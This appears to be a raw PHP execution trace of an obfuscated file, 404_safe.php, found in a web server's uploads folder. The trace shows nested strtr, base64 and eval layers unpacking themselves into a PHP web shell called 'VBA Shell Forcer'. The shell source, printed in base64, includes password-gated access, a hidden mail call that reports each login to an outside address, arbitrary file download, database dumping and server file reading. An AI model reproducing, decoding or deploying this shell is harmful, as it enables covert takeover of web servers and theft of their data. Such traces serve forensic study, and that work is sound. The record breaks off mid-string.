3 10 0 0.000878 552840 strtr 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 3 'lcI4L/G4L/G4L/hZkulzMS9gxwniWJNeFhIwJofnFhQe15jejaDH32I4LcQg3Zpg1ajejagHE2f4PHnLoh0e32I4L/pgLcQglh2YlckL32lG3nXxl2I43ZpgL/pg3Bkkm5Eu3cI5Pof3CBk4LcQgLcI4L/peFJNH3ZpgLcQg3Zpg15E43Zpg3ZpgL/pA15kgEZoOUKqrkCA0x3nLCuP2oc9mLKQqP2W99ZWD3C7abHqJUC+jmhX+ConHMZprboIeWHl6LSR1MHEfkiREJ9EC4JM0l2n5P2EnEHkjJoA13cht3hGEo+Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==' 'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
3 10 1 0.000908 553448
3 10 R 'JE9PMDBPMDBPMD1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kT09PME8wTzAwLiInIiwkR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLCRPTzAwTzAwMDApLCdwRzUvY253dWpsbTFMWHQ0UEVKM285Q0ZVVzZ4TWtiek5SYWlIK1NlWUFkczA3eU9nZkJaMmhLckRxdjhRSVRWPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSkpO2ZjbG9zZSgkTzAwME8wTzAwKTtldmFsKCRPTzAwTzAwTzApOw=='
3 11 0 0.000942 552840 base64_decode 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 1 'JE9PMDBPMDBPMD1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kT09PME8wTzAwLiInIiwkR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLCRPTzAwTzAwMDApLCdwRzUvY253dWpsbTFMWHQ0UEVKM285Q0ZVVzZ4TWtiek5SYWlIK1NlWUFkczA3eU9nZkJaMmhLckRxdjhRSVRWPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSkpO2ZjbG9zZSgkTzAwME8wTzAwKTtldmFsKCRPTzAwTzAwTzApOw=='
3 11 1 0.000969 553384
3 11 R '$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);'
2 A /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 $OO00O00O0 = '$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);'
3 12 0 0.001040 556120 eval 1 '$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);' /var/www/html/uploads/404_safe.php(1) : eval()'d code 1 0
4 13 0 0.001069 556184 fread 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 2 resource(4) of type (stream) 135520
4 13 1 0.001132 695512
4 13 R 'j5ERj/2e3u+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7AMwX/xekfJoXGW2+wCHXEo2loo29C39E/PHkoLoAco+WlW2f3P+kJ9HAoohoq32+cJF9XoC7fWHngtc7APCklP2neo+kJMwE/PChlE9l0WwhCMKjZPCkWxS7e9S7mP+Wn9Hloo2neJoXGW2+/PCk1xek1WHXOW2+G6KklEKNgWcRGXHfqt3lWxoUgC+kwkcf7XCfHP2neJoXGJH+/PCklPrpDPKqrMo+/PCklE/pqJoX5J9+F3elR9Z9yJoXWWhoB9SAHCcAgWcRsW2+cL/+lP2neJoXGW2+/PFnSPFGiJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Atc7/x9WqUK2qb9NZJSfiEZ+qWck0k9AqWZX19uX1ooRtxwEwtFEW9KEgC3cqbwEF'
4 14 0 0.001283 695448 strtr 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 3 'j5ERj/2e3u+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7AMwX/xekfJoXGW2+wCHXEo2loo29C39E/PHkoLoAco+WlW2f3P+kJ9HAoohoq32+cJF9XoC7fWHngtc7APCklP2neo+kJMwE/PChlE9l0WwhCMKjZPCkWxS7e9S7mP+Wn9Hloo2neJoXGW2+/PCk1xek1WHXOW2+G6KklEKNgWcRGXHfqt3lWxoUgC+kwkcf7XCfHP2neJoXGJH+/PCklPrpDPKqrMo+/PCklE/pqJoX5J9+F3elR9Z9yJoXWWhoB9SAHCcAgWcRsW2+cL/+lP2neJoXGW2+/PFnSPFGiJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Atc7/x9WqUK2qb9NZJSfiEZ+qWck0k9AqWZX19uX1ooRtxwEwtFEW9KEgC3cqbwEF' 'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=' 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
4 14 1 0.001458 834808
4 14 R 'ICRhID0nTHlvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpcGNDbndxSUNBZ0lGWkNRU0JUU0VWTVRDQkdUMUpEUlZJZ0xTQldSVkpUU1U5T0lESXVNUWtxZkFwOEtpQWdJQ0FnUldScGRDQW1JRVJsZG1Wc2IzQWdZbmtnVmtKQlZFVkJUU0FnSUNBZ0lDQWdLbndLZkNvZ0lBa2dJR2gwZEhBNkx5OTJZbUYwWldGdExtNWxkQ0FnSUNBSklDQWdJQ3A4Q253cUlDQWdJRDA5SUNCSVlXTnJhVzVuSUNZZ1UyVmpkWEpwZEhrZ0lEMDlJQ0FnSUNBZ0lDQXFmQXBjS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpOEtDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5ZzNLVHNLUUhObGRGOXRZV2RwWTE5eGRX'
4 15 0 0.001568 695448 base64_decode 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 1 'ICRhID0nTHlvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpcGNDbndxSUNBZ0lGWkNRU0JUU0VWTVRDQkdUMUpEUlZJZ0xTQldSVkpUU1U5T0lESXVNUWtxZkFwOEtpQWdJQ0FnUldScGRDQW1JRVJsZG1Wc2IzQWdZbmtnVmtKQlZFVkJUU0FnSUNBZ0lDQWdLbndLZkNvZ0lBa2dJR2gwZEhBNkx5OTJZbUYwWldGdExtNWxkQ0FnSUNBSklDQWdJQ3A4Q253cUlDQWdJRDA5SUNCSVlXTnJhVzVuSUNZZ1UyVmpkWEpwZEhrZ0lEMDlJQ0FnSUNBZ0lDQXFmQXBjS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpOEtDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5ZzNLVHNLUUhObGRGOXRZV2RwWTE5eGRX'
4 15 1 0.001998 834744
4 15 R ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4 16 0 0.002091 695448 str_replace 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 3 '__FILE__' '\'/var/www/html/uploads/404_safe.php\'' ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4 16 1 0.002201 695544
4 16 R ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
3 A /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 $OO00O00O0 = ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4 17 0 0.002416 694872 fclose 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 1 resource(4) of type (stream)
4 17 1 0.002434 686256
4 17 R TRUE
4 18 0 0.002708 892728 eval 1 ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsKZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsKLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsKZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsKJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAnXycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJCX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLwokYWRtaW4gPSBhcnJheSgpOwokYWRtaW5bJ2NoZWNrJ10gPSB0cnVlOwokYWRtaW5bJ3Bhc3MnXSAgPSAnMTAwMjkxMmIyNTE4ODdiNGZlMGU1ZmExZWZkYmZhMDYnOyAvLyBQYXNzd29yZCBsb2dpbgokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7CiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsKJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7CiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7Ci8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLwoKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9Cgokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsKJHRpbWVzdGFtcCA9IHRpbWUoKTsKCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7CglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7CglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOwoJcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsKCWV4aXQ7Cn0KaWYoJGFkbWluWydjaGVjayddKSB7CglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsKCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gbWQ1KCRwYXNzd29yZCkpIHsKCQkJc2Nvb2tpZSgndmJhcGFzcycsIG1kNSgkcGFzc3dvcmQpKTsKCi8vIEZ1bmN0aW9uIG1haWwgU2VuZGVyIHRvIG15IEVtYWlsIC0gUGxlYXNlIHJlbW92ZSB0aGlzIGJlZm9yZSB5b3UgdXNpbmcgdGhpcyBzaGVsbCBjb2RlLCBUaGFua3MgLSBGZXJuYW5kbyAtIFZCQVRlYW0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICd4ZWRvcmFjQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7CgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+CjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Db25uZWN0aW5nLi4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsKCQkJZXhpdDsKCQl9CgoJZWxzZQoJewoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jRjBGMEYwIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOwplY2hvICRlcnJfbWVzczsKCX19CglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIE15c3FsCmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy9Eb3dubG9hZCBTUUwKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsKCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7CgkJCX0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJaWYgKCEkcm93KSB7CgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsKCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOwoJCQkJZWNobyAkcm93WzBdOwoJCQkJZXhpdDsKCQkJfQoJCX0KCX0KfQoKPz4KCjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1RoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQnKTs/PjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9CgphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9Ci5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xp